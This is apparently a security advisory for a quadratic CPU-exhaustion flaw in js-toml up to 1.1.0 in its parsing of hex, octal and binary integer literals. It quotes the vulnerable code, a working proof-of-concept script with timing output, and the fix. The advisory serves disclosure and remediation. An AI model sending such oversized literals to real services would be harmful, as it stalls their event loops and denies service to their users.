js-toml versions up to and including 1.1.0 parse hexadecimal / octal / binary integer literals via a hand-written parseBigInt loop that multiplies a BigInt accumulator by the radix once per input digit. Each iteration performs a BigInt * BigInt operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is O(n²) in the literal length. The lexer regex places no upper bound on the literal length, so a single TOML document containing one ~500 kB hex literal pins one CPU core for ~40 seconds on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.
A caller that invokes load() on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party *.toml, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.
CWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (HIGH) when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB).
js-toml (npm)>= 0.0.0, <= 1.1.0 (all released versions up to and including the current 1.1.0)load() exported from the package rootsrc/load/tokens/NonDecimalInteger.ts lines 54-84 at SHA-pinned 2470ebf2e9009096aa4cbd1a15e574c54cc36b1a:
const parseBigInt = (string: string, radix: number): bigint => {
let result = BigInt(0);
for (let i = 0; i < string.length; i++) {
const char = string[i];
const digit = parseInt(char, radix);
result = result * BigInt(radix) + BigInt(digit);
}
return result;
};
and the interpreter that dispatches to it at lines 72-84:
registerTokenInterpreter(NonDecimalInteger, (raw: string) => {
const intString = raw.replace(/_/g, '');
const digits = intString.slice(2);
const radix = getRadix(raw);
const int = parseInt(digits, radix);
if (Number.isSafeInteger(int)) {
return int;
}
return parseBigInt(digits, radix);
});
Two compounding problems:
Algorithmic: the loop performs result * BigInt(radix) + BigInt(digit) once per input digit. After i iterations result has O(i) limbs, so the multiply costs O(i). Summed over n digits the total cost is O(n²).
No length guard: the lexer regex at src/load/tokens/NonDecimalInteger.ts#L14-L46 is 0x<hexDigit>(<hexDigit>|_<hexDigit>)* (likewise for 0o / 0b). The literal length is bounded only by the input document size. There is no maxNumberLength / maxLiteralLength option, no chevrotain-level cutoff, and no validation at the interpreter callsite.
By contrast, the DecimalInteger token interpreter at src/load/tokens/DecimalInteger.ts#L12-L19 uses the V8 native BigInt(intString) constructor, which is O(n) and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.
A single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With 8 MB of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls load() (the only documented entry point) on attacker-controlled or third-party TOML.
The vulnerable path is the default code path for load(). No options or configuration are required to trigger it. Any caller that exposes load() to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds Number.MAX_SAFE_INTEGER (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).
Realistic exposure surfaces:
js-toml on TOML in third-party repositories or pull requests.v22.x (tested on v22.0.0 and Node v26.0.0)mkdir js-toml-cve && cd js-toml-cve
npm init -y
npm install js-toml@1.1.0 @iarna/toml
poc_full_e2e.mjsimport { load } from 'js-toml';
import iarna from '@iarna/toml';
function timeIt(label, fn) {
const t0 = process.hrtime.bigint();
let result, err;
try { result = fn(); } catch (e) { err = e; }
const t1 = process.hrtime.bigint();
const ms = (Number(t1 - t0) / 1e6).toFixed(1);
if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);
else console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`);
}
console.log('--- Sanity baseline (small inputs) ---');
timeIt('decimal int 1', () => { load('x = 1'); return ''; });
timeIt('hex 0x10', () => { load('x = 0x10'); return ''; });
timeIt('hex 0xffff', () => { load('x = 0xffff'); return ''; });
console.log('\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---');
for (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {
const hexDigits = 'f'.repeat(n);
const tomlText = `x = 0x${hexDigits}`;
timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,
() => {
const r = load(tomlText);
return `bits=${r.x.toString(2).length}`;
});
}
console.log('\n--- Negative control: same input via @iarna/toml ---');
for (const n of [10_000, 50_000, 100_000, 200_000]) {
const hexDigits = 'f'.repeat(n);
const tomlText = `x = 0x${hexDigits}`;
timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,
() => {
const r = iarna.parse(tomlText);
return `type=${typeof r.x}`;
});
}
console.log('\n--- Octal / binary share the same code path ---');
for (const n of [50_000, 100_000]) {
const octDigits = '7'.repeat(n);
const binDigits = '1'.repeat(n);
timeIt(`oct 0o${n.toLocaleString()} digits`,
() => { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });
timeIt(`bin 0b${n.toLocaleString()} digits`,
() => { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });
}
js-toml@1.1.0, Node v26.0.0, Apple M-series)# js-toml version: 1.1.0
--- Sanity baseline (small inputs) ---
decimal int 1: 1.3ms
hex 0x10: 0.4ms
hex 0xffff: 0.1ms
--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits (10006 bytes input): 15.0ms bits=40000
hex 20,000 digits (20006 bytes input): 29.8ms bits=80000
hex 50,000 digits (50006 bytes input): 214.7ms bits=200000
hex 100,000 digits (100006 bytes input): 693.0ms bits=400000
hex 200,000 digits (200006 bytes input): 3239.6ms bits=800000
hex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000
--- Negative control: same input via @iarna/toml ---
@iarna/toml hex 10,000 digits: 2.3ms type=bigint
@iarna/toml hex 50,000 digits: 3.2ms type=bigint
@iarna/toml hex 100,000 digits: 5.4ms type=bigint
@iarna/toml hex 200,000 digits: 10.2ms type=bigint
--- Octal / binary share the same code path ---
oct 0o50,000 digits: 187.6ms bits=150000
bin 0b50,000 digits: 49.5ms bits=50000
oct 0o100,000 digits: 633.2ms bits=300000
bin 0b100,000 digits: 196.8ms bits=100000
Confirmation points:
O(n²).parseBigInt(digits, 8) and parseBigInt(digits, 2).@iarna/toml, which calls the V8 native BigInt(value) constructor) parses the same inputs in 2-10 ms. The defect is in js-toml's hand-written radix conversion, not in V8 BigInt semantics or in the input size itself.After applying the fix (replace parseBigInt(digits, radix) with BigInt('0' + raw[1] + digits) and add a maxLiteralLength guard at the interpreter callsite), the same PoC produces:
--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits: 0.2ms bits=40000
hex 20,000 digits: 0.3ms bits=80000
hex 50,000 digits: 0.7ms bits=200000
hex 100,000 digits: 1.5ms bits=400000
hex 200,000 digits: 2.8ms bits=800000
hex 500,000 digits: 7.1ms bits=2000000
(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise SyntaxParseError instead of being parsed at all, matching the maxNumberLength convention used by jackson-core StreamReadConstraints and gson NumberLimits.
Two changes, both in src/load/tokens/NonDecimalInteger.ts:
Replace the hand-written parseBigInt loop with the V8 native BigInt(prefixedString) constructor. BigInt natively accepts the 0x / 0o / 0b prefix and parses in O(n):
registerTokenInterpreter(NonDecimalInteger, (raw: string) => {
const intString = raw.replace(/_/g, '');
const digits = intString.slice(2);
const radix = getRadix(raw);
// Optional but recommended: cap the literal length to avoid degenerate inputs
const MAX_RADIX_LITERAL_LENGTH = 1000;
if (digits.length > MAX_RADIX_LITERAL_LENGTH) {
throw new SyntaxParseError(
`Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits`
);
}
const int = parseInt(digits, radix);
if (Number.isSafeInteger(int)) {
return int;
}
// BigInt accepts '0x'/'0o'/'0b' prefix natively
return BigInt(intString);
});
Delete the parseBigInt helper. The native constructor handles all three radices.
Either change alone fixes the worst-case wall-clock. The combination matches the constraint posture of jackson-core (StreamReadConstraints.validateIntegerLength) and gson (NumberLimits.checkNumberStringLength).
https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2
Reported by tonghuaroot.
{
"nvd_published_at": "2026-06-19T19:16:36Z",
"cwe_ids": [
"CWE-1333",
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"severity": "HIGH",
"github_reviewed_at": "2026-06-26T22:21:43Z"
}